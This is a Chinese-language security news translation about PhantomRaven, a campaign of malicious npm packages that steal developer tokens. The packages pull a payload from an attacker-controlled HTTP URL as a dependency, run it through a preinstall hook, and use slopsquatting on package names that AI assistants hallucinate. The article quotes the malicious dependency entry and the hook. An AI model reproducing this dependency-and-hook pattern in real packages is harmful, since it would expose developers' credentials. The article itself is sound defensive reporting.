安全威胁“幻影乌鸦”被披露:126个恶意npm包通过隐藏依赖项窃取开发者令牌与敏感信息

阅读量11190

发布时间 : 2025-10-31 17:44:25

x
译文声明

本文是翻译文章,文章原作者 Ddos,文章来源:securityonline

原文地址:https://securityonline.info/phantomraven-126-malicious-npm-packages-steal-developer-tokens-and-secrets-using-hidden-dependencies/

译文仅供参考,具体内容表达以及含义原文为准。

Koi Security发现了一场名为PhantomRaven的大规模供应链攻击活动,该活动已通过126个恶意npm包静默感染npm生态系统,这些包的总下载量超过86,000次。自2025年8月以来持续活跃的该活动旨在窃取npm认证令牌、GitHub凭证和CI/CD密钥,同时将恶意代码隐藏在大多数安全扫描器无法检测的依赖项中

Koi Security的Wings风险引擎于2025年10月首次检测到异常活动:多个npm包在安装期间发起外部网络请求,且均指向同一域名。

“我们的风险引擎Wings在2025年10月标记了异常。这些包在安装期间发起外部网络请求——均指向同一可疑域名。”该团队写道。

调查人员深入分析后发现,80个恶意包仍处于活跃状态,持续从全球开发者系统收集凭证。报告概述了清晰的时间线:

  1. 2025年8月:攻击活动开始;首批21个包被npm移除。
  2. 2025年9–10月:又上传80个包,成功规避检测。
  3. 2025年10月:Koi Security的行为分析引擎发现该活动。

尽管交付手段复杂,但攻击者的操作安全(OPSEC)却异常薄弱:使用jpdtester01@hotmail[.]com至jpdtester13@gmail[.]com等顺序邮箱账户,且均关联npmhell、npmpackagejpd等用户名。

核心技术:远程动态依赖(RDD)与隐形载荷

PhantomRaven的高隐蔽性源于其对远程动态依赖(RDD) 的利用——这是npm的一项极少使用的功能,允许直接从HTTP URL而非npm仓库拉取依赖。

表面上,这些恶意包看似无害,仅包含如下代码:

#!/usr/bin/env node  

console.log('Hello,  world!'); 

“在npm上打开这些恶意包之一,查看源代码。你会发现类似这样的内容……完全无害,一个简单的‘hello world’脚本。”报告解释道。

然而,真正的载荷在安装时从外部服务器拉取:

"dependencies": { 
  "ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"  
} 

由于npm和大多数扫描器不跟踪基于HTTP的依赖链接,这些包看似“0依赖”,几乎绕过所有自动化安全检查。

“恶意代码?就坐在packages.storeartifact.com 上,等待安装时被拉取。”

开发者运行npm install的瞬间,恶意依赖即通过npm的preinstall生命周期脚本自动拉取并执行:

"scripts": { 
  "preinstall": "node index.js"  
} 

这种设计确保载荷在无需用户同意的情况下执行,即使深埋在依赖链的多层嵌套中。

Koi Security指出:“安装一个依赖于某个包的包,而该包又依赖于带有恶意preinstall脚本的包?这段代码会自动在你的机器上运行。”

攻击流程:侦察与数据窃取

一旦执行,PhantomRaven立即启动激进的侦察与数据泄露流程

1. 身份信息收集

恶意软件首先在开发者系统中搜索以下位置的电子邮件地址:

  1. 环境变量
  2. .gitconfig
  3. .npmrc
  4. package.json

2. CI/CD凭证窃取

随后扫描主流自动化工具的令牌和凭证,包括:

  1. GitHub Actions
  2. GitLab CI/CD
  3. Jenkins
  4. CircleCI
  5. npm认证令牌

报告强调:“他们想知道你的基础设施的一切——GitHub Actions令牌、GitLab CI凭证、Jenkins凭证、CircleCI令牌、npm认证令牌。”

3. 系统指纹识别

恶意软件编译完整系统配置文件,捕获受害者的公网IP、主机名、操作系统、用户名、目录和Node.js 版本——这些是针对企业和云环境的关键数据

4. 冗余数据泄露渠道

泄露流程使用三个并行渠道确保数据成功传出:

  1. HTTP GET(数据编码在URL中)
  2. HTTP POST(JSON payload)
  3. WebSocket备用(针对受限网络)

“即使在防火墙严格的受限网络环境中,他们仍能将数据传出。”Koi Security警告。

新型感染向量:AI驱动的“幻觉 squatting”(slopsquatting)

最令人担忧的发现是PhantomRaven采用的新型感染向量——slopsquatting,即AI驱动的“幻觉 squatting”,是typosquatting(拼写 squatting)的进化形式。

与传统名称仿冒不同,PhantomRaven的作者创建了AI助手可能错误推荐的包名

“当开发者向GitHub Copilot或ChatGPT等AI助手请求包推荐时,模型有时会建议听起来合理但实际不存在的包名。PhantomRaven就创建了这些不存在的包。”

例如:

  1. eslint-comments(真实包:eslint-plugin-eslint-comments
  2. unused-imports(真实包:eslint-plugin-unused-imports
  3. transform-react-remove-prop-types(真实包:babel-plugin-transform-react-remove-prop-types

这些AI验证的伪造包名旨在欺骗开发者信任恶意包,将社会工程与人工智能错误巧妙结合。

本文翻译自securityonline 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
安全客
分享到:微信

发表评论

安全客

这个人太懒了,签名都懒得写一个

  • 文章
  • 641
  • 粉丝
  • 6

热门推荐

文章目录
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66